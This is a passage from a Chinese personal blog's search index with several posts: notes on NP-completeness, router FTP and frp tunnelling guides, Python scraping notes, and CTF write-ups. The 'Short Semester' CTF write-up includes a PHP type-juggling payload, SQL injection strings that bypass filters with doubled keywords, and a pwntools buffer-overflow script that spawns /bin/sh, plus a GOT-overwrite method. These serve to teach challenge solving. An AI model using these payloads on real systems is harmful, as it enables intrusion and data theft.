什么叫做逻辑电路呢?一个逻辑电路由若干个输入,一个输出,若干“逻辑门”和密密麻麻的线组成。看下面一例,不需要解释你马上就明白了。 123456789101112 ┌───┐ │ 输入1├─→┐ ┌──┐ └───┘ └─→┤ │ │ or ├→─┐ ┌───┐ ┌─→┤ │ │ ┌──┐ │ 输入2├─→┤ └──┘ └─→┤ │ &nbsp;└───┘ │ ┌─→┤AND ├──→输出 └────────┘┌→┤ │ ┌───┐ ┌──┐ │ └──┘ │ 输入3├─→┤ NOT├─→────┘ └───┘ └──┘ 这是个较简单的逻辑电路,当输入1、输入2、输入3分别为True、True、False或False、True、False时,输出为True。 有输出无论如何都不可能为True的逻辑电路吗?有。下面就是一个简单的例子。 1234567891011┌───┐│输入1 ├→─┐ ┌──┐└───┘ └─→┤ │ │AND ├─→┐ ┌─→┤ │ │ │ └──┘ │ ┌──┐ │ └→┤ │┌───┐ │ │AND ├─→输出│输入2 ├→─┤ ┌──┐ ┌→┤ │└───┘ └→┤NOT ├→──┘ └──┘ └──┘ 上面这个逻辑电路中,无论输入是什么,输出都是False。我们就说,这个逻辑电路不存在使输出为True的一组输入。 回到上文,给定一个逻辑电路,问是否存在一种输入使输出为True,这即逻辑电路问题。 逻辑电路问题属于NPC问题。这是有严格证明的。它显然属于NP问题,并且可以直接证明所有的NP问题都可以约化到它(不要以为NP问题有无穷多个将给证明造成不可逾越的困难)。证明过程相当复杂,其大概意思是说任意一个NP问题的输入和输出都可以转换成逻辑电路的输入和输出(想想计算机内部也不过是一些 0和1的运算),因此对于一个NP问题来说,问题转化为了求出满足结果为True的一个输入(即一个可行解)。 有了第一个NPC问题后,一大堆NPC问题就出现了,因为再证明一个新的NPC问题只需要将一个已知的NPC问题约化到它就行了。后来,Hamilton 回路成了NPC问题,TSP问题也成了NPC问题。现在被证明是NPC问题的有很多,任何一个找到了多项式算法的话所有的NP问题都可以完美解决了。因此说,正是因为NPC问题的存在,P=NP变得难以置信。P=NP问题还有许多有趣的东西,有待大家自己进一步的挖掘。攀登这个信息学的巅峰是我们这一代的终极目标。现在我们需要做的,至少是不要把概念弄混淆了。 Matrix67原创转载请注明出处]]></content>
<categories>
<category>Reproduce</category>
</categories>
<tags>
<tag>N问题</tag>
<tag>NP问题</tag>
<tag>NPC问题</tag>
</tags>
</entry>
<entry>
<title><![CDATA[借助padavan搭建ftp]]></title>
<url>%2Fpadavan-ftp%2F</url>
<content type="text"><![CDATA[padavan附带很多功能,故想在闲置的路由器上搭建ftp服务器,且校园网几乎覆盖全校,希望尽量使用内网ip进行访问,通过微信推送提示ip变更,再使用frp供校外使用需求。 路由器固件: 老毛子padavan 开启ftpAiDisk 开启ftp,设置账户及权限。 USB应用程序 设置端口(内网穿透时需要)。 防火墙 开启外网访问。 然后就能通过 ftp://内网ip 使用ftp服务了。 消息推送使用Server酱,先绑定SCKEY 由于固件自带的通知提醒脚本中的ip变动提醒为外网ip变动的提醒,故自行更动后覆盖原脚本,这样每次内网ip变动后会自动将新ip(v4&v6)推送至微信。 12345678910111213141516171819202122232425262728293031323334353637383940414243 # 读取校园网地址 getV4(){ local v4=$(ifconfig apcli0|grep "inet addr"|cut -d : -f2|awk '{print $1}') echo "ftp://"${v4} } getV6() { local v6=$(ifconfig apcli0|grep "Scope:Global"|cut -d / -f1|awk '{print $3}') echo "ftp://["${v6}"]" } # 写入文件的字符串格式 getWriteIP(){ local v4=$(getV4) local v6=$(getV6) echo ${v4}"-"${v6} } # 推送的字符串格式 getSendIP(){ local v4=$(getV4) local v6=$(getV6) echo -e ${v4}$'\n\n'${v6}$'\n' } # 读取最近校园网地址 getLastIP() { local lastIP="/etc/storage/lastIP" cat $lastIP }if [ "$serverchan_notify_1" = "1" ] ; then local hostIP=$(getWriteIP) local lastIP=$(getLastIP) if [ "$lastIP" != "$hostIP" ] && [ ! -z "$hostIP" ] ; then sleep 60 local hostIP=$(getWriteIP) local lastIP=$(getLastIP) fi if [ "$lastIP1" != "$hostIP1" ] && [ ! -z "$hostIP1" ] ; then logger -t "【校园网 IP 变动】" "目前 IP: ${hostIP}" logger -t "【校园网 IP 变动】" "上次 IP: ${lastIP}" local sendIP=$(getSendIP) curl -s "http://sc.ftqq.com/$serverchan_sckey.send?text=校园网IP变动" -d "&desp=${sendIP}" & logger -t "【微信推送】" "校园网IP变动:${hostIP}" echo -n $hostIP1 > /etc/storage/lastIP fifi 内网穿透前提:有vps 为满足校外使用需求,使用 frp 实现内网穿透。 123456789101112131415161718192021222324252627# frps.ini[common]bind_addr = #服务器ipbind_port = #自定# frpc.ini[common]server_addr = #同服务器ipserver_port = #同服务器端口[ftp]type = tcplocal_ip = 127.0.0.1local_port = 21remote_port = 2121 # 自定# 下列端口为上面设置的ftp被动端口[ftp1]type = tcplocal_ip = 127.0.0.1local_port = 50000remote_port = 50000[ftp2]type = tcplocal_ip = 127.0.0.1local_port = 50001remote_port = 50001......(下略) 配置完后即可通过 ftp://服务器ip:2121 访问。 p.s: frp不仅可以设置ftp的穿透,还能用web服务、ssh等,详情可看官方文档。 附:关于ipv6由于校园网ipv4限量、ipv6不计费,故希望尽量使用v6网。 ipv4流量转ipv6前提:vps具有ipv6地址 开启ss,服务器地址填写服务器的v6地址,并采用全局代理。 即客户端和服务器之间走v6,让服务器进行v4访问,并将内容通过v6返回。 双开frp(v4&v6)更改脚本,使frpc分别读取不同配置运行两次。注意服务器ip为v6时,需用[]括起来。 e.g: 修改frps的配置为v6配置,并在脚本最后开启frpc的代码后添加frpc -c /tmp/frp/myfrps.ini &。]]></content>
<categories>
<category>Life</category>
</categories>
<tags>
<tag>padavan</tag>
<tag>ftp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[小学期CTF Writeup]]></title>
<url>%2FCTF_ShortSemester%2F</url>
<content type="text"><![CDATA[第二次CTF,在大佬的指导下竟然通关了,虽然不是次正规的比赛,不过体验还不错。题目和官方WP repo 戳这里 ReverseTry丢进ida,直接看到flag Snake丢进ollydbg,找到如图 将撞墙后的retn改为jmp 003217F0后运行即可得flag Re Again这题用ida生成的伪代码似乎有问题(?),由第一个do-while循环确定flag是24位的,其中由flag格式已知首尾是flag{…}。然后查了TryLevel发现是结构化异常处理 SEH相关的东西,然而还是看不懂,于是只能把伪码作为参考去啃汇编(图附注释)。 main: 第二个函数(第一个函数类似): 大致看懂后丢进ollydbg用flag{123456789012345678}单步执行。由第二个函数的伪代码的函数声明和od跑一遍的逻辑,发现第一个函数似乎没用(?),不影响eax的值,于是看第二个函数。 由于输入的flag前五位是正确的,所以会在里面循环五次后才跳出sorry,由此了解逻辑:第一个byte ptr取出的是字符”1”或”2”,第二个byte ptr依次取出flag的每一位字符,运算后与应得的值进行比较,正确则验证下一位,反向进行异或计算即可获得flag。 做题时没想到可以直接拿到第二个断点处的数组(手动捂脸),只能一位一位算,即用fla…算出后一位’g’,再用flag…重新运行算出’{‘ ……,逐位获得flag,python代码如下。 12345last = 0x72 # 第二个端点处取得的字符再颠倒one = 0x31 # 字符"1"two = 0x32 # 字符"2"flag = last ^ 0x7 ^ one # 用1或2 取决于第一个断点处所得值print (flag) WebUnSafe PHP 传闻PHP是世界上最好的语言,但方便的同时也带来了隐患,‘弱类型’就可能引发很多问题。 考查php弱类型,根据提交的json在最下面显示输出,代码如下,注释里写过程。 1234567891011121314151617181920212223242526272829303132333435363738394041424344<?php error_reporting(0); highlight_file(__FILE__); include "flag.php"; $v1=0;$v2=0; $a=(array)json_decode(@$_GET['answer']); # 提交index.php?answer={}if(is_array($a)){ # 读取$a时已转换成array,应该能通过 is_numeric(@$a["para1"])?die("nope1"):NULL; if(@$a["para1"]){ ($a["para1"]>2016)?$v1=1:NULL; } # $a["para1]既不是数又要大于2016 # 由php手册 http://php.net/manual/zh/language.operators.comparison.php # 字符串和数值时比较会转换成数值,故应为含数值的字符串 if(is_array(@$a["para2"])){ if(count($a["para2"])!==5 OR !is_array($a["para2"][0])) die("nope2"); # a["para2"]为含5个元素的数组,且第一个元素为数组 $pos = array_search("balabala", $a["para2"]); $pos===false?die("nope3"):NULL; foreach($a["para2"] as $key=>$val){ $val==="balabala"?die("nope4"):NULL; } # a["para2"]中既要有balabala,又不能有balabala # 根据php手册 http://php.net/manual/zh/function.array-search.php # array_search()中字符串和数值比较同样有类型问题 # 即 "balabala"转化成数值应为0,故需有元素为0 $v2=1; } } if($v1 && $v2){ echo $flag; } ?> 最终payload:/index.php?answer={“para1”:”2017 “,”para2”:[[2],3,3,3,0]} SQLinjection Hint2:测试的时候记得把’#’url编码 在login,register,index中找到注入点在/index.php?id=1处,id=1-4组合起来是”hey there flag is in the database”。先用sqlmap跑了一遍,无果(:з」∠),转而投奔手注。 测试发现union,select,from,and,or,&均被过滤(降低难度后union被放出),用selselectect,frfromom,||解决。测试1’ || 1=1 #时报错,根据hint2将#改为%23后可通过。 查阅网上wp后尝试表名列名均为flag,用id=-1’ union selselect flag frfromom flag%23竟然过了,好像大家都是这么做出来的。(雾 拿到flag后正经盲注,information里or用oorr绕过。 12345678# 表名:flag,id,userid=-1' union selselectect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema=database()# 列名:flagid=-1' union selselectect group_concat(column_name) frfromom infoorrmation_schema.columns where table_name = 'flag'%23# flagid=-1' union selselectect flag frfromom flag%23 PwnGetShell 看到pwn函数调用了system(“bin/sh”),应该要跳转到这个地址。main里调用了gets(),故用v4覆写掉return的地址。 python脚本如下 123456from pwn import *p = remote("10.105.40.215",4445)print p.recvuntil("name")payload = "a" * (0xa + 0x8) + p64(0x4006d6) # 程序为64位p.sendline(payload)p.interactive() Array Hint1:数组边界溢出 Hint2:改写GOT表 由上题权限漏洞可知此题flag(雾 根据hint1,发现name和数组a地址都在bss段。 根据hint2,查看got表地址,计算可得各函数的地址,如puts为a[-17],printf为a[-18]。 由第一题(Getshell),猜测此题也是通过调用system(“bin/sh”)来拿到flag,将name设为“/bin/sh”,system地址覆写puts地址,即可在调用puts(name)时调用system(“bin/sh”)。 然而got表没有system,经查阅得知函数地址是动态链接的,需通过已链接函数地址计算system地址,算式为system-libc_system=printf-libc_printf(用其他已调用函数也可行)。 libc中函数地址可将libc.so.6丢进ida查看,后来得知也能通过gdb直接查找(下图)。printf函数因为在之前已经被调用过所以a[-18]显示的是链接后的地址,故本题有两次读写操作。 同时,因为格式化字符串的%d,所以地址要用十进制进行操作。 故解题过程为: 将/bin/sh写入name 读取a[-18],即已知的printf动态地址。 由system=printf-libc_printf+libc_system计算出system的动态地址 将十进制的地址写入a[-17],即要调用的puts()函数的地址 调用puts(name)时,实际调用system(“/bin/sh”),getshell。 P.S. 题目附带的libc文件是服务器的libc库,本地测试时调用的是本地的库,本地libc库位置可通过gdb中查看,如下图。]]></content>
<categories>
<category>Security</category>
</categories>
<tags>
<tag>CTF</tag>
<tag>writeup</tag>
</tags>
</entry>
<entry>
<title><![CDATA[frp实现内网穿透+开机自启]]></title>
<url>%2Ffrp%2F</url>
<content type="text"><![CDATA[想要在外网访问本机上的服务,如果分配到的是动态的公网ip,可以使用ddns(动态域名解析),将变化的ip绑定在固定的域名上。然而ipv4地址日益紧缺,拨号得到的地址大多是运营商的大内网地址,这时就要用到内网穿透了。注意 : 需要自己有台独立ip的服务器 安利国人开发的开源项目 frp: https://github.com/fatedier/frp 具体的配置和使用在官方文档以及配置文件中都有详细说明,这里讲点没提到的。 选择版本作者发布的为编译后的文件,需要自己按照cpu选择对应版本,可在命令行中输入如下进行查看。 1cat /proc/cpuinfo 开机自启systemd适用于CentOS/RHEL7以上,Ubuntu 15以上,Debian8以上 1234567891011121314[Unit]Description=frps daemonAfter=syslog.targetAfter=network.target[Service]Type=simple# 此处需要修改成 你自己的frps路径ExecStart=/root/frp/frps -c /root/frp/frps.iniExecStop=/usr/bin/killall frpsRestart= always[Install]WantedBy=multi-user.target 将上述脚本保存为 /etc/systemd/system/frps.service 后执行 1systemctl enable frps.service && systemctl start frps.service 路由器在开机启动脚本中添加 12# 修改文件地址nohup /root/frp/frpc -c /root/frp/frpc.ini & 此处 nohup…& 为后台运行 p.s.nohup 12opkg updateopkg install opkg install coreutils-nohup]]></content>
<categories>
<category>Service</category>
</categories>
<tags>
<tag>frp</tag>
<tag>内网穿透</tag>
</tags>
</entry>
<entry>
<title><![CDATA[路由宝L1刷潘多拉]]></title>
<url>%2FyoukuL1-padorabox%2F</url>
<content type="text"><![CDATA[记录优酷路由宝L1刷潘多拉的过程,用来实现多拨等功能。 固件: 2.1.0313.8617 开启telnet官方管理界面, 手动升级 刷带telnet固件,cmd输入 1telnet 192.168.11.1 备份原固件telnet内输入 12dd if=/dev/mtd0 of=/tmp/youku/mnt/tf2/fullflash.binln -s /tmp/youku/mnt/tf2/fullflash.bin /www/fullflash.bin 浏览器输入 http://192.168.11.1/fullflash.bin 下载固件至电脑 解锁Bootloadeer123mtd unlock Bootloader# 返回 Unlocking Bootloader ... 刷入breed123cd /tmpwget http://breed.hackpascal.net/breed-mt7620-youku-yk1.binmtd -r write /tmp/breed-mt7620-youku-yk1.bin Bootloader 路由器重启,按住reset键断电插电,几秒后松手,192.168.1.1进入breed 附u盘目录为 /mnt/sda1 1cat /proc/mtd # 查看BootLoader是哪一个mtd 刷潘多拉http://downloads.pandorabox.com.cn/ 在breed 系统 先备份,选择潘多拉固件升级。 合并TF卡12fdisk -l # 硬盘列表df -h # 挂载列表 删除分区123456fdisk /dev/mmcblk0d回车d回车...... 直至删除所有分区 新建分区12345678fdisk /dev/mmcblk0np1回车回车pw 格式化分区123456opkg update # 更新源opkg install e2fsprogs # ext4插件umount /dev/mmcblk0p1 # 取消挂载mkfs.ext4 /dev/mmcblk0p1 # 格式化为ext4回车 # 等待完成mount /dev/mmcblk0p1 /mnt/mmcblk0p1 # 挂载]]></content>
<categories>
<category>Life</category>
</categories>
<tags>
<tag>路由宝L1</tag>
<tag>潘多拉</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Requests-BeautifulSoup-RE 爬虫]]></title>
<url>%2FPythonSpider%2F</url>
<content type="text"><![CDATA[整理一下Python Requests-BeautifulSoup-Re 路线爬虫的笔记。 Requests库Sample1234567891011import requestsdef getHTMLText(url): try: r = requests.get(url,timeout= 30) r.raise_for_status() r.encoding = r.apparent_encoding return r.text except: print ("Fail to get HTML text from",url) return '' 编码r.encoding : 从HTTP header中猜测的相应内容编码方式r.apparent_encoding : 分析内容得出的编码方式 Exception ConnectionError 连接错误(DNS查询失败、拒绝连接) HTTPError HTTP错误 URLRequired URL缺失 TooManyRedirects 超过最大重定向 ConnectTimeout 连接服务器超时 Timeout 请求URL超时 附件r.content : 相应内容的二进制形式 1f.write(r.content) **kwargsheaders更改UserAgent 12UA = {'user-agent':'Mozilla/5'}r = requests.get(url , headers = UA) params123kv = {'wd':'Python'}r = requests.get('http://www.baidu.com/s' , params = kv)http://www.baidu.com/s?wd=Python timeout访问超时的时长 proxies12pxs = { 'http': 'http://user:pass@ip:port' 'https': 'https://ip:port' } BeautifulSoup库123from bs4 import BeautifulSoupsoup = BeautifulSoup( r.context , 'html.parser') 属性 Tag : soup. Name : .name Attributes : .attrs NavigableString : .string Comment : .string - 除attrs返回为字典类型,其余为bs4.element.xxx 遍历 .contents : 子节点的列表 .children : 子节点的迭代类型 .descendants : 子孙节点的迭代类型 .parent : 父亲标签 .parents : 先辈标签的迭代类型 .next/previous_sibling(s) : 平行标签(同父亲下) .prettify()为HTML文本添加’\n’,使输出更友好 信息提取 <>.find_all : 等价于<>.() 返回列表 find() : 返回第一个结果 find_parent(s)() find_next/previous_sibling(s)() 参数 name : Tag’s name attrs : () (=) recursive : 是否检索全部子孙 默认True string : 检索<>..</>中字符串,只返回字符串 Re正则表达式 (regular expression, regex)123import rere.search(r'python',r.context,re.I) 操作符操作符 . : 表示任何单字符(除\n) [ ] : 字符集,单字符取值范围 [^ ] : 非字符集 * : 前一个字符至少0次扩展 + : 前一个字符至少1次扩展 ? : 前一个字符0或1次扩展 | : 左右表达式任意一个 {m} : 扩展前一个字符m次 {m,n} : 扩展前一个字符m至n次(含m,n) ^ : 匹配字符串开头 $ : 匹配字符串结尾 () : 分组标记,内部只能用| \d : 数字 [0-9] \w : 单词 [A-Za-z0-9] 最小匹配*? +? ?? {m,n}? 方法 (pattern, string, flags) search() : 搜索第一个匹配项,返回match match() : 从string开始位置进行匹配,返回match findall() : 列表返回所有匹配子串 split() : 按匹配结果进行分割 finditer() : 返回迭代类型,迭代元素为match对象 sub(pattern, repl, string, count) : 返回替换后的字符串 flags re.I : re.IGNORECASE re.M : re.MULTLINE ^操作符将文本每行当作匹配开始 re.S : re.DOTALL .匹配所有字符 包括\n 等价用法12regex = re.compile(pattern)regex.method(string, flags) Match对象属性 string : 带匹配文本 re : 匹配时的pattern对象(re.compile()) pos : 搜索开始位置 endpos : 搜索结束位置 方法 group(0) : 获得匹配的字符串 start() : 匹配字符串的开始位置 end() span() : 返回(.start(), .end()) 元组]]></content>
<categories>
<category>Coding</category>
</categories>
<tags>
<tag>Python</tag>
<tag>BeautifulSoup</tag>
<tag>爬虫</tag>
</tags>
</entry>
<entry>
<title><![CDATA[解决Chrome扩展停用]]></title>
<url>%2FChromeExtension%2F</url>
<content type="text"><![CDATA[Chrome 会强制停用不是扩展商店中的应用,可通过修改组策略解决。 打开组策略Win+R 打开运行框,输入 gpedit.msc 即可打开。 下载模板下载并解压 https://dl.google.com/dl/edgedl/chrome/policy/policy_templates.zip 来源:https://support.google.com/chrome/a/answer/187202?hl=zh-Hans 添加模板右键 计算机配置-管理模板 选择 添加/删除模板 添加 policy_templates\windows\adm\zh-CN\chrome.adm 后关闭,即可在 管理模板-经典管理模板 中看到 Google 启用扩展程序双击 Google-Google Chrome-扩展程序-配置扩展程序安装白名单 启用后,在左下角选项中点击 显示 ,将在Chrome扩展程序页面(chrome://extensions/)上所禁程序的ID填入即可。 参考:https://hencolle.com/2016/10/16/baidu_exporter/]]></content>
<categories>
<category>Life</category>
</categories>
<tags>
<tag>chrome extension</tag>
</tags>
</entry>
<entry>
<title><![CDATA[TSCTF2017 Writeup]]></title>
<url>%2FTSCTF2017%2F</url>
<content type="text"><![CDATA[第一次参加CTF,一个星期的突击其实还不如比赛两天中学到的多233。总共只做出2道Misc和全部Coding题(这真的是ctf?),四维码那题没做出来非常遗憾。36个小时确实有点肝不动,不过学到了很多,写篇wp总结一下。 以下题目及文件可在github上看到:https://github.com/hydewww/TSCTF2017-WP ,里面也有此次的全部题目(除Web)及前十队伍的Wp。 MISC Logo 用Hex查看 图片信息结束后是一串字符 结尾是== 用base64解密得到flag 神秘的文件pcapng格式,百度得知是wireshark文件。跟着百度现学现卖,follow tcp流,总共有4组Stream。 Stream2是Md5密文 带有字典 MD5Crack得密码ah%kyq$ Stream3开头为PK… Zip格式 用winhex拉出来得到加密的zip 输入密码得到flag.txt base64解密得flag 四维码(未完成) 你听说过四维码么?听说每拿到一个新码你就离成功进了一步哦! HINT 1:Base32HINT 2:如果脑洞不够大,多用搜索引擎搜搜看!HINT 3:谷歌搜图? 图1为13帧的二维码gif 每帧扫码得两位组合www.twitter.com/pinkotsctf 得图2 扫套娃的二维码得NNSXSPLROJRW6ZDF根据hint2 3 谷歌搜图搜到玄武实验室 再跳转到github上的matroschka加密算法https://github.com/fbngrm/Matroschka 看readme得知需要password 图三可看出是二维码 用stegsolve加深后可得一串二进制 共231位 猜想1:337 补一位转换ascii 一堆控制符 gg猜想2:新的二维码 经百度二维码最小的version1为2121 gg 猜想3:条形码 做不下去 gg(结果就是条形码,不知道的可看github中学长的wp) Coding Python & Socket Py3中sock.send()只能传输bytes ,经问学长后答题格式应为sock.send(String+”\n”),故改用py2。 scok有时间限制,需在算法和sleep的时间上优化。题目大部分可通过搜索引擎得到c语言的解法,理解后改为python。 若sleep时间过短,rec不到全部的数据,需按需求变更。有时算法多跑几次就能跑出来,对sock理解不够,不知道原因(:з)∠) Rec后得到数据,需用正则表达式得到所需的数字进行运算。 由于难点主要是socket,所以只贴第一题的代码参考,其他题解可看github。代码有改动,可能跟截图显示的效果不符。 小明二进制 小明发现,有些整数,它们十进制表示的时候,数的每一位只能是0或者1。例如0,1,110,11001都是这样的数,而2,13,900不是,因为这些数的某些位还包含0、1以外的数。小明将这些各位只为1或者0的数,命名为“小明二进制”。现每轮给出一个整数n,计算一下最少要用多少个“小明二进制”数相加才能得到n,总共50轮。 如13可以表示为13个1相加,也可以13=10+1+1+1,或者13=11+1+1,所以13最少需要3个“小明二进制”数相加才能得到。 最大的数码即为所需的n (只有这题是自己想的算法) 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#-*- coding: utf-8 -*-import socketimport timeimport reimport math# 1 Socket Init# 1.1 Set Host and PortHOST = '10.105.42.5'PORT = 41111# 1.2 Connect to Serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((HOST, PORT))# 2 Receive the Message from Server# [sleep() before recv() is necessary]time.sleep(0.1)response = sock.recv(1024)response = response.decode('utf-8')print (response)# 正则表达式抓取数字m = re.findall(r'(\w*[0-9]+)\w*',response)a = int(m[2])max = 0while(a>0): if(max<a%10): max=a%10 a//=10# 3 Send the Answer to Serversock.send(str(max)+"\n")#由于第一次数是第3个,之后为第2个(从0开始),故第一次单独执行,剩余49次循环for i in range (49): time.sleep(0.1) response = sock.recv(1024) response = response.decode('utf-8') m = re.findall(r'(\w*[0-9]+)\w*',response) print (response) a = int(m[1]) print (a) max=0 while(a>0): if(max<a%10): max=a%10 a//=10 sock.send(str(max)+"\n")# 4 Receive the Flag from Servertime.sleep(0.01)response = sock.recv(1024)print (response)# 5 Close the Socketsock.close()time.sleep(0.001) 泽哥的算术 泽哥的数学不是很好,有一天老师给泽哥布置了五十道数学题,要求他在10s内给出A的B次幂的后四位,你能算的出来吗? example input : 123 234 output : 6809 快速幂算法 Las Vegas 在Las Vegas,霸哥想跟我们玩个简单的取石子游戏,规则如下:游戏给出数字A B,双方轮流从A个石子中取走石子,每次不能超过B个,谁能取走最后一个石子谁就算赢。双方需要完成50轮游戏 取石子游戏:http://blog.csdn.net/pipisorry/article/details/39249337 修路 市政府决定在1000个村子(1,2,3,4….1000)间修些路来方便大家出行,市长决定在录用你之前进行一次考察,题目给出800条连通道路信息,再做1000次询问,要求给出村子A与B之间是否连通,是回答”yes”,否回答”no”。 并查集:http://blog.csdn.net/dm_vincent/article/details/7655764 获取800条数据时需rec(7*1024)才能一次读完]]></content>
<categories>
<category>Security</category>
</categories>
<tags>
<tag>CTF</tag>
<tag>TSCTF2017</tag>
<tag>Writeup</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Real · Hello World]]></title>
<url>%2Fhello_world%2F</url>
<content type="text"><![CDATA[啃了一天终于搭建好了Github Page,随便写点东西学习下markdown C1$ printf("hello,world"); Python1$ print ("hello,world") Java1$ System.out.print("hello,world"); 顺便github主页: https://github.com/hydewww]]></content>
</entry>
</search>